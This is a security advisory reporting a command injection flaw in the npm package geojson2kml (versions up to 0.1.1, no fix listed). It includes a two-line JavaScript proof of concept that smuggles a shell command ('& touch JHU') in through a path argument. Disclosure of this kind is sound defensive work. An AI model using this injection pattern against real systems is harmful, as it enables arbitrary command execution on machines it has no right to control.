GHSA-w83x-fp72-p9qc
Command Injection in geojson2kml
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | geojson2kml | <= 0.1.1 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
All versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file.
### PoC:
```js
var a =require("geojson2kml");
a("./","& touch JHU",function(){})
```
References
External links from the advisory. They lead to third-party sites.